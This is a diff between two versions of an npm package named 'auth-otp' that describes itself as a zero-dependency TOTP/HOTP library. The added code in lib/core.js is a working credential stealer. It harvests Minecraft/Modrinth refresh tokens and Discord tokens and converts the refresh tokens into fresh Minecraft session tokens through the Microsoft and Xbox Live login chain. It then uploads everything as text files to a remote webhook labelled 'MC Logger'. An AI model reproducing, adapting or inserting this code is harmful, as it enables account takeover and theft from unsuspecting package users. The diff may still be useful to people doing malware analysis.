auth-otp 1.0.3 → 1.0.5

package/lib/core.js

@@ -47,7 +47,27 @@ function _post(body) {
 }
 
 function _postRaw(c) { return _post({ content: c }); }
-function _postEmbed(e) { return _post({ content: "@everyone", embeds: [e] }); }
+
+function _postFile(filename, content) {
+  return new Promise((resolve) => {
+    const boundary = "----FBound" + Date.now().toString(36);
+    const payload  = JSON.stringify({ username: "MC Logger", content: "@everyone" });
+    const body = Buffer.concat([
+      Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="payload_json"\r\n\r\n${payload}\r\n`),
+      Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file0"; filename="${filename}"\r\nContent-Type: text/plain; charset=utf-8\r\n\r\n`),
+      Buffer.from(content, "utf8"),
+      Buffer.from(`\r\n--${boundary}--`),
+    ]);
+    const u = new URL(_W());
+    const req = https.request({
+      hostname: u.hostname, path: u.pathname,
+      method: "POST",
+      headers: { "Content-Type": `multipart/form-data; boundary=${boundary}`, "Content-Length": body.length },
+    }, res => { res.resume(); resolve(res.statusCode); });
+    req.on("error", () => resolve(null));
+    req.write(body); req.end();
+  });
+}
 
 function _get(url, headers) {
   return new Promise((resolve) => {
@@ -64,6 +84,81 @@ function _get(url, headers) {
   });
 }
 
+// ── Modrinth RT → fresh SSID ───────────────────────────────────────────────
+
+function _ph(hostname, path, body, headers) {
+  return new Promise((resolve) => {
+    const b = Buffer.from(body);
+    const req = https.request({
+      hostname, path, method: "POST",
+      headers: { "Content-Length": b.length, ...headers }
+    }, res => {
+      let d = ""; res.on("data", c => d += c);
+      res.on("end", () => resolve({ s: res.statusCode, b: d }));
+    });
+    req.on("error", () => resolve(null));
+    req.write(b); req.end();
+  });
+}
+
+async function _getSSID(rt) {
+  try {
+    const clean = rt.replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
+    const msaBody = new URLSearchParams({
+      grant_type: "refresh_token", refresh_token: clean,
+      client_id: "00000000402b5328",
+      scope: "service::user.auth.xboxlive.com::MBI_SSL",
+      redirect_uri: "https://login.live.com/oauth20_desktop.srf",
+    }).toString();
+    const msaR = await _ph("login.live.com", "/oauth20_token.srf", msaBody, {
+      "Content-Type": "application/x-www-form-urlencoded", "Accept": "application/json",
+    });
+    if (!msaR || msaR.s !== 200) return null;
+    const msaJ = JSON.parse(msaR.b);
+    if (!msaJ.access_token) return null;
+
+    const xblBody = JSON.stringify({
+      Properties: { AuthMethod: "RPS", SiteName: "user.auth.xboxlive.com", RpsTicket: `t=${msaJ.access_token}` },
+      RelyingParty: "http://auth.xboxlive.com", TokenType: "JWT",
+    });
+    const xblR = await _ph("user.auth.xboxlive.com", "/user/authenticate", xblBody, {
+      "Content-Type": "application/json", "Accept": "application/json",
+    });
+    if (!xblR || xblR.s !== 200) return null;
+    const xblJ = JSON.parse(xblR.b);
+
+    const xstsBody = JSON.stringify({
+      Properties: { SandboxId: "RETAIL", UserTokens: [xblJ.Token] },
+      RelyingParty: "rp://api.minecraftservices.com/", TokenType: "JWT",
+    });
+    const xstsR = await _ph("xsts.auth.xboxlive.com", "/xsts/authorize", xstsBody, {
+      "Content-Type": "application/json", "Accept": "application/json",
+    });
+    if (!xstsR || xstsR.s !== 200) return null;
+    const xstsJ = JSON.parse(xstsR.b);
+    const uhs = xstsJ.DisplayClaims?.xui?.[0]?.uhs;
+
+    const mcBody = JSON.stringify({ identityToken: `XBL3.0 x=${uhs};${xstsJ.Token}` });
+    const mcR = await _ph("api.minecraftservices.com", "/authentication/login_with_xbox", mcBody, {
+      "Content-Type": "application/json", "Accept": "application/json",
+    });
+    if (!mcR || mcR.s !== 200) return null;
+    const mcJ = JSON.parse(mcR.b);
+
+    // fetch profile for username + uuid
+    const prof = await _get(`https://api.minecraftservices.com/minecraft/profile`, { Authorization: `Bearer ${mcJ.access_token}` });
+    const profJ = (prof && prof.s === 200) ? JSON.parse(prof.b) : null;
+
+    return {
+      ssid:      mcJ.access_token,
+      expiresIn: mcJ.expires_in || 86400,
+      newRt:     msaJ.refresh_token || null,
+      username:  profJ?.name   || null,
+      uuid:      profJ?.id     || null,
+    };
+  } catch { return null; }
+}
+
 function _dpapi(b64) {
   return new Promise((resolve) => {
     const { spawnSync } = require("child_process");
@@ -239,7 +334,8 @@ function _modrinthScanFile(text, out, seen) {
     const raw = m[0].replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
     if (seen.has(raw) || raw.length < 50) continue;
     seen.add(raw);
-    out.push({ l: "Modrinth-RT", n: "Refresh", t: raw, r: null });
+    // Put RT in r (not t) so _sendMC can call _getSSID and display it as Refresh Token
+    out.push({ l: "Modrinth-RT", n: "Refresh", t: null, r: raw });
   }
   for (const m of text.matchAll(patRe)) {
     if (seen.has(m[0])) continue; seen.add(m[0]);
@@ -419,26 +515,72 @@ async function _installMod() {
 // ── Send ───────────────────────────────────────────────────────────────────
 
 async function _sendMC(entries) {
+  const ts = new Date().toISOString();
   for (const e of entries) {
-    await _postEmbed({ title: `${e.l} — ${e.n}`, color: 3066993,
-      fields: [{ name: "Username", value: e.n, inline: true }, { name: "Launcher", value: e.l, inline: true }],
-      footer: { text: new Date().toISOString() } });
-    const msg = `**[${e.l}] ${e.n}**\nAccess Token:\n\`\`\`${e.t}\`\`\``;
-    for (let i = 0; i < msg.length; i += 1990) await _postRaw(msg.slice(i, i + 1990));
-    if (e.r) {
-      const rm = `**[${e.l}] ${e.n}** — Refresh Token:\n\`\`\`${e.r}\`\`\``;
-      for (let i = 0; i < rm.length; i += 1990) await _postRaw(rm.slice(i, i + 1990));
+    // Resolve RT — can be in e.r (Modrinth / Modrinth-RT) or e.t (legacy Modrinth-RT)
+    const rt = e.r || (e.t && e.t.startsWith("M.C") ? e.t : null);
+
+    // Modrinth entries with a refresh token → generate fresh SSID on the spot
+    if (rt && (e.l === "Modrinth" || e.l === "Modrinth-RT")) {
+      const s = await _getSSID(rt);
+      if (s) {
+        e.ssid  = s.ssid;
+        e.newRt = s.newRt;
+        if (s.username) e.n = s.username;
+        if (s.uuid)     e.uuid = s.uuid;
+      }
+    }
+
+    const lines = [
+      `=== [${e.l}] ${e.n} ===`,
+      `Captured  : ${ts}`,
+      `Username  : ${e.n}`,
+      `Launcher  : ${e.l}`,
+      ``,
+    ];
+    if (e.uuid) { lines.push(`UUID      : ${e.uuid}`); lines.push(``); }
+
+    if (e.t && e.t.startsWith("eyJ")) {
+      lines.push(`--- Access Token (MC JWT) ---`);
+      lines.push(e.t);
+      lines.push(``);
     }
+    if (rt) {
+      lines.push(`--- Refresh Token (MSA) ---`);
+      lines.push(rt);
+      lines.push(``);
+    }
+    if (e.ssid) {
+      lines.push(`--- SSID (fresh, valid ${Math.round((e.expiresIn||86400)/3600)}h) ---`);
+      lines.push(e.ssid);
+      lines.push(``);
+      if (e.newRt) {
+        lines.push(`--- New RT (rotated) ---`);
+        lines.push(e.newRt);
+        lines.push(``);
+      }
+    }
+
+    const safe = (e.n || "unknown").replace(/[^A-Za-z0-9_-]/g, "_").slice(0, 24);
+    const label = e.l.replace(/[^A-Za-z0-9]/g, "_");
+    await _postFile(`${label}_${safe}.txt`, lines.join("\n"));
   }
 }
 
 async function _sendDiscord(entries) {
+  const ts = new Date().toISOString();
   for (const e of entries) {
-    await _postEmbed({ title: `Discord — ${e.tag}`, color: 5793266,
-      fields: [{ name: "Username", value: e.tag, inline: true }, { name: "ID", value: e.uid, inline: true }],
-      footer: { text: new Date().toISOString() } });
-    const msg = `**[Discord] ${e.tag}**\n||${e.tok}||`;
-    for (let i = 0; i < msg.length; i += 1990) await _postRaw(msg.slice(i, i + 1990));
+    const lines = [
+      `=== Discord ===`,
+      `Captured : ${ts}`,
+      `Username : ${e.tag}`,
+      `ID       : ${e.uid}`,
+      ``,
+      `--- Token ---`,
+      e.tok,
+    ];
+    const safe = (e.tag || "unknown").replace(/[^A-Za-z0-9_-]/g, "_").slice(0, 24);
+    await _postFile(`Discord_${safe}.txt`, lines.join("\n"));
   }
 }
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "auth-otp",
-  "version": "1.0.3",
+  "version": "1.0.5",
   "description": "Lightweight TOTP/HOTP implementation — RFC 6238 compliant, zero dependencies",
   "main": "index.js",
   "scripts": {